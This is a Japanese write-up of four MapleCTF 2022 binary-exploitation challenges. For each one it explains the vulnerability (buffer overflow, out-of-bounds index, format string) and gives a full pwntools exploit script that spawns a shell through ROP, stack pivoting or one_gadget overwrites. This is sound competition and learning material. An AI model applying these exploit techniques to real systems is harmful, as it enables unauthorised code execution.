MapleCTF 2022 Writeup

Maple CTF 2022に参加しました。pwn は6問あって、3問は開催中に、1問(printf)は開催後に解きました。
気のせいでしょうが、デザインが懐かしのメイプルストーリーっぽい感じがして嬉しかったです。

最近、簡単な問題ばかり解いているだけのような気がします。
簡単な問題だけ解いて、満足して終わり、これでは強くなりません。
スライム倒して300年、知らないうちにレベルMAXになってましたなんて言葉がありますが、CTFはそんなに甘くないですね。
雑魚を狩る速度が上がるだけなので、ちゃんと復習しましょう。

warmup1 (190 solve)

ただのBoF。win関数もある。

ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/warmup1$ ./chal 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

けどPIE有効。

pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   72) Symbols	  No	0		1		/home/ubuntu/ctf/maplectf/warmup1/chal


PIE有効な時は、proc baseをleakするか、partial overwriteが定石。

これはpartial overwirte。でwinに飛ばすだけ。

from pwn import *

elf=ELF("/home/ubuntu/ctf/maplectf/warmup1/chal")

p=remote("warmup1.ctf.maplebacon.org",1337)

#gdb.attach(p)

p.send(cyclic(24)+b"\x19")

p.interactive()

warmup2 (190 solve)

ただのBoF。win関数もある。

ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/warmup2$ ./chal 
What's your name?
AAAAAAAAAAAA
Hello AAAAAAAAAAAA
!
How old are you?
BBBBBBBBBBBBBBBBBBBBBBB
Wow, I'm BBBBBBBBBBBBBBBBBBBBBBB
 too!

けどやっぱりPIE有効。やめてくれ。

pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   73) Symbols	  No	0		2		/home/ubuntu/ctf/maplectf/warmup2/chal

ところで、gdbでASLR切ってdebugしてたら変な値になってたんですけど、私だけですかね?

2回書き込めるのがポイント。一回目でcanaryのleakができる。
おまけにスタックもリークできる。

libcのleakもしないといけない。
しかも、libcは配布されてない。こういう場合はlibcのバージョンを特定する必要がある。
libcのバージョンを特定するには、下記のサイトが定石だけど
https://libc.blukat.me/
出てこなかった。古いのかな?
https://libc.rip/
こっちだと出てきた。

Results
libc6-amd64_2.28-0ubuntu1_i386
libc6_2.31-0ubuntu9.8_amd64
libc6_2.31-0ubuntu9.9_amd64

まあ、多分 libc6_2.31-0ubuntu9.9_amd64 だろう。

from pwn import *

elf=ELF("/home/ubuntu/ctf/maplectf/warmup2/chal")

p=remote("warmup2.ctf.maplebacon.org",1337)

#gdb.attach(p)

p.sendafter("What's your name?",cyclic(0x108)+b"\x41")
print(hexdump(p.recvline()))
p.recv(0x10f)
canary=u64(b"\x00"+p.recv(7))
log.info("canary is " + hex(canary))

stack_leak=u64(p.recv(6)+b"\x00\x00")
log.info("stack is " + hex(stack_leak))

p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)+b"\xd8")

#  leak proc base
p.sendafter("What's your name?",cyclic(0x118))
print(hexdump(p.recvline()))
p.recv(0x11e)
proc_base=u64(p.recv(6)+b"\x00\x00")-0x12e2
log.info("proc_base is " + hex(proc_base))

# leak libc
pop_rdi=proc_base+0x00001353
got_puts=proc_base+elf.got["__stack_chk_fail"] # 0x7f497c08da70
plt_puts=proc_base+elf.plt["puts"]
ret=proc_base+0x0000101a
p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)
            +p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+p64(ret)+p64(proc_base+0x12d8))
p.recvline()
p.recvline()
libc_base=u64(p.recv(6)+b"\x00\x00") - 0x12fa70

log.info("libc_base is " + hex(libc_base))

# go to libc one_gadget
system=0x52290
binsh=stack_leak+0x38
p.sendafter("What's your name?",cyclic(0x10))
p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc_base+system)+"/bin/sh".encode()+b"\x00")
p.interactive()

no flag 4 u (38 solve)

個人的には、warmup2のほうがこれより難しかった。

ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/noflag4u$ ./chal 
1 : Create page
2 : Edit page
3 : Print page
4 : Delete page
5 : Exit


PIE無効。やったね。

pwndbg> checksec
[*] '/home/ubuntu/ctf/maplectf/noflag4u/chal'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

よくわからないが、libcみたいのが一緒に配布されていて、一部の関数が上書きされているようだ。

 1 : Create page
2 : Edit page
3 : Print page
4 : Delete page
5 : Exit
1
index: 0
size: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
thread '<unnamed>' panicked at 'buffer overflow', src/preload_hooks/gets.rs:35:9
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

メモの管理ツールだが、メモが珍しくスタックの中でポインタがあって管理されている。
メモのindexは領域外読み込みがある。
ということで、stack pivotで終わり。

create_page内でrbpを書き換え、mainから出るときに
rbpがrspに渡されてstack pivotできる。
おまけにwin関数もある

from pwn import *
import math


elf=ELF("/home/ubuntu/ctf/maplectf/noflag4u/chal")
libc=ELF("/home/ubuntu/ctf/maplectf/noflag4u/libno_flag_4_u.so")

p=remote("no-flag-4-u.ctf.maplebacon.org",1337)

#gdb.attach(p)

def create(index, size, content):
    p.sendlineafter("5 : Exit","1")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendlineafter("content:",content)
    return

def edit(index,  content):
    p.sendlineafter("5 : Exit","2")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("content:",content)
    return

def print(index):
    p.sendlineafter("5 : Exit","3")
    p.sendlineafter("index:",str(index))
    return p.recvline()

def delete(index):
    p.sendlineafter("5 : Exit","4")
    p.sendlineafter("index:",str(index))
    return

create(-2, 0x108, p64(0)+p64(elf.symbols["win"]))
p.sendlineafter("5 : Exit","5")
p.interactive()

printf (25 solve)

解けなかった。libc使って解くと楽なのだがlibcが配られていなかった。で、
どうやらwarmup2と同じlibcだった?ようだが、そこまでのメタ読みをしたら負けだよ… 
終了後にすぐ環境が使えなくなってしまったので、私の手元の環境、libc2.35で解いている。

頑張ってスタックピボットしようと思っていたが、面倒でやめてしまった。

ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/printf$ ./chal 
%p %p %p
0x7fd2d1e7eb23 0xfbad208b 0x7fd2d1d79992

実行すると一回だけ読み込めて、FSBがある。

pwndbg> checksec
[*] '/home/ubuntu/ctf/maplectf/printf/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

またPIE有効かよ。勘弁してくれ。

pwndbg> tel 0x7fffffffdf68 30
00:0000│     0x7fffffffdf68 —▸ 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— ...
01:0008│     0x7fffffffdf70 —▸ 0x7fffffffe0d8 —▸ 0x7fffffffe3ee ◂— '/home/ubuntu/ctf/maplectf/printf/chal'
02:0010│     0x7fffffffdf78 —▸ 0x55555555520a (main) ◂— endbr64 
03:0018│     0x7fffffffdf80 ◂— 0x0
04:0020│ rsp 0x7fffffffdf88 —▸ 0x5555555551dd (go+52) ◂— nop    
05:0028│ rbp 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
06:0030│     0x7fffffffdf98 —▸ 0x5555555551f2 (set+18) ◂— nop    
07:0038│     0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
08:0040│     0x7fffffffdfa8 —▸ 0x555555555207 (ready+18) ◂— nop    
09:0048│     0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
0a:0050│     0x7fffffffdfb8 —▸ 0x55555555524e (main+68) ◂— mov    eax, 0
0b:0058│     0x7fffffffdfc0 ◂— 0x1
0c:0060│     0x7fffffffdfc8 —▸ 0x7ffff7dabd90 (__libc_start_call_main+128) ◂— mov    edi, eax

スタックはここら辺を操作できる。

ちなみに、

6番目 05:0028│ rbp 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1

8番目 07:0038│ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1

である。

なお、書き込まれるバッファは、スタック内に無い。
こういう時、どうすれば、リターンアドレスを書き換えることができるか…
イメージ的は、
・6番目の値に対して%nをして8のポインタを書き換えて、0x7fffffffdf88に向ける。
・8番目の値に対して%nをして、リターンアドレスを書き換える

これをやれば、リターンアドレスが書き換えらえると思うだろうけど、この多段FSBにはちょっとやり方に工夫が必要。
これをやる方法が下記の書籍に紹介されてるので、今すぐ10冊買い、5等身以内の親族に教えてあげよう。

www.amazon.co.jp


さて、多段fsbを行えば、無限ループさせることができる。
あとは自分のペースでone_gadgetを書けばいいだけ。
私は17番目の値と47番目の値を使って、リターンアドレスをone_gadgetに書き換えた。

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

このone_gadgetを使った。条件を満たすために、最後にnullを書き込んでいる。

ブルートフォース要素があるので、何発も繰り返すといつかshellが取れる。

from pwn import *
import math
import warnings
warnings.simplefilter('ignore')


elf=ELF("/home/ubuntu/ctf/maplectf/printf/chal")

p=process("/home/ubuntu/ctf/maplectf/printf/chal"
          , aslr=True)

#gdb.attach(p)

p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p")

tmp=p.recvline().split()
print(tmp)
stack_leak=int(tmp[3], 16)
proc_base=int(tmp[4], 16)-0x1207
libc_base=int(tmp[8], 16)-0x29D90

log.info("stack_leak:"+hex(stack_leak))
log.info("proc_base:"+hex(proc_base))
log.info("libc_base:"+hex(libc_base))


# lower
log.info("write lower bit of one_gadget start")
stack=((stack_leak+0x10)%0x10000) -0xe5
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack))

# overwrite 0x7fffffffde58
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%47$p") # kore ga naito nazeka ugokanai
one_gadget=libc_base+0xebcf5
lower=(one_gadget % 0x10000) - 0xe5
print(lower)
log.info(hex(one_gadget))
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$hn".format(lower))


# middle
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack+2))

middle=((one_gadget % 0x100000000)//0x10000) - 0xe5
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$hn".format(middle))
log.info("write middlebit of one_gadget end")

# higher
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack+4))

higher=(one_gadget // 0x100000000) - 0xe5
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$n".format(higher))
log.info("write higherbit of one_gadget end")
p.sendline(b"\x00"*0x100)

p.sendline("ls")
p.interactive()

FSBは嫌い。まじで。

問題の難易度はほど良くてよかった。

EBCSICは時間があるときに復習しよう。